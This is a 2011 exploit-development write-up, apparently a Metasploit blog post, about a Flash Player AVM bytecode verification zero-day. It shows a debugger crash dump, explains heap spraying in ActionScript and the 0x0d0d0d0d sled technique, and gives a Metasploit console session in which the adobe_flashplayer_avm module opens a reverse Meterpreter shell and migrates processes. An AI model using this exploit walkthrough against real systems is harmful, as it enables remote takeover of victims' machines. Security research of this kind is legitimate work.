Last updated at Mon, 04 Dec 2023 20:04:28 GMT
Originally Posted by bannedit
Recently, I spent about a week and a half working on the latest 0-day Flash vulnerability. I released a working exploit on March 22nd 2011. The original exploit was just an attempt to get something working out the door for all of our users. The first attempt left a lot to be desired. To understand the crux of this vulnerability and what needed to be done to improve the first attempt at exploiting it I had to dig in deep into ActionScript.
ActionScript is a language which is embedded into an SWF file in the form of a bytecode stream. The embedded bytecode stream is handled by the ActionScript Virtual Machine (AVM) which is tasked with verifying the bytecode and generating native code. This process is commonly referred to as JIT (Just In Time) compiling.
The cause of this specific vulnerability is due to a one byte alteration (fuzzing) within an original well formed bytecode stream found in a file called addLabels.swf. The bytecode passes the verification process and the native code is generated and placed in VirtualAlloc()'d executable memory. The specific results of this code executing is that uninitialized memory is referenced.
(fb4.9a0): Access violation - code c0000005 (!!! second chance !!!)
eax=02b38c89 ebx=02b46b20 ecx=02b78040 edx=40027f2b esi=02b467c0 edi=02b5d1f0
eip=02b7558e esp=0013e0e8 ebp=0013e180 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
02b7558e 8b4a70 mov ecx,dword ptr [edx+70h]
ds:0023:40027f9b=????????
0:000> dd eax+8
02b38c91 40027f2b 21029780 0002b36d e8180000
02b38ca1 01026d56 34800041 000263d9 08000000
02b38cb1 0a000000 e8000000 01026d56 43800042
02b38cc1 000263d9 05000000 0a000000 e8000000
02b38cd1 01026d56 58800043 000263d9 0c000000
02b38ce1 0a000000 e8000000 01026d56 7a800044
02b38cf1 000263d9 06000000 0a000000 e8000000
02b38d01 01026d56 9c800045 000263d9 08000000
0:000> u eip
02b7558e 8b4a70 mov ecx,dword ptr [edx+70h]
02b75591 8d559c lea edx,[ebp-64h]
02b75594 89459c mov dword ptr [ebp-64h],eax
02b75597 8b01 mov eax,dword ptr [ecx]
02b75599 52 push edx
02b7559a 6a00 push 0
02b7559c 51 push ecx
02b7559d ffd0 call eax
The memory being referenced is uninitialized. To control this memory heapspraying is required. The original exploit used heapspraying within JavaScript. This worked but it was not very reliable.
The solution was to preform the heapspray within a SWF file which loads the trigger SWF. Using HeapLib.as from Roee Hay I was able to get some basic heapspraying accomplished. This is a lot more reliable because it is using the same Heap management routines Flash uses to allocate memory. A copy of the ActionScript source code I used for this exploit can be found in the exploit.as source file.
Now that I have reliable control over the unintialized memory. Whats the next task? The next task is simply constructing the memory in such a way that the call eax instruction in the JIT code executes my shellcode. This was easily done using the good old Skylined technique of using an address which doubles as a nop instruction (0x0d0d0d0d ftw!).
The next major hurdle I had to over come was now that I have execution control what do I execute? While testing I was using a hardcoded payload within the ActionScript which simply executed calc.exe. This just was not going to cut it. A few initial options came to mind, I could hardcode a meterpreter payload. This was not very dynamic at all and so I had to come up with something else. The next option I thought of was using an egghunter payload to find shellcode I could inject in some other fashion. This would work but really limited things to a lot of payload specifics for example if the hardcoded egghunter payload was for a different architecture than the targeted machine things would blow up and break. That would be pretty tragic since all the conditions for getting a shell would be in place but everything breaks due to the dependencies of a hardcoded payload.
Finally, I came to conclusion I needed to find a way to dynamically read a payload using ActionScript. Now I can simply make a HTTP request for a text file and read in the ASCII hexadecimal representation of the payload. After decoding the payload it can be applied to the heapspray code and now we have dynamic payloads in memory. W00t!
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 672 exploits - 345 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12149 updated today (2011.03.26)
msf > use exploit/windows/browser/adobe_flashplayer_avm
msf exploit(adobe_flashplayer_avm) > set URIPATH /
URIPATH => /
msf exploit(adobe_flashplayer_avm) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.108:4444
[*] Using URL: http://0.0.0.0:8080/
msf exploit(adobe_flashplayer_avm) >
[*] Local IP: http://192.168.0.108:8080/
[*] Server started.
[*] Sending Adobe Flash Player AVM Bytecode Verification Vulnerability HTML to 192.168.0.102:3646
[*] Sending Exploit SWF
[*] Sending stage (749056 bytes) to 192.168.0.102
[*] Meterpreter session 1 opened (192.168.0.108:4444 -> 192.168.0.102:3648) at 2011-03-26 15:23:18 -0400
[*] Session ID 1 (192.168.0.108:4444 -> 192.168.0.102:3648) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2376)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 4092
[*] New server process: notepad.exe (4092)
msf exploit(adobe_flashplayer_avm) > sessions
Active sessions
===============
Id Type Information Connection
-- ------- ---------------- ----------------
1 meterpreter x86/win32 WXPPROSP2-001\Administrator @ WXPPROSP2-001 192.168.0.108:4444 -> 192.168.0.102:3648
msf exploit(adobe_flashplayer_avm) >
Thats the entire process it took to create a reliable exploit for this vulnerability. I hope you enjoy all the sessions =).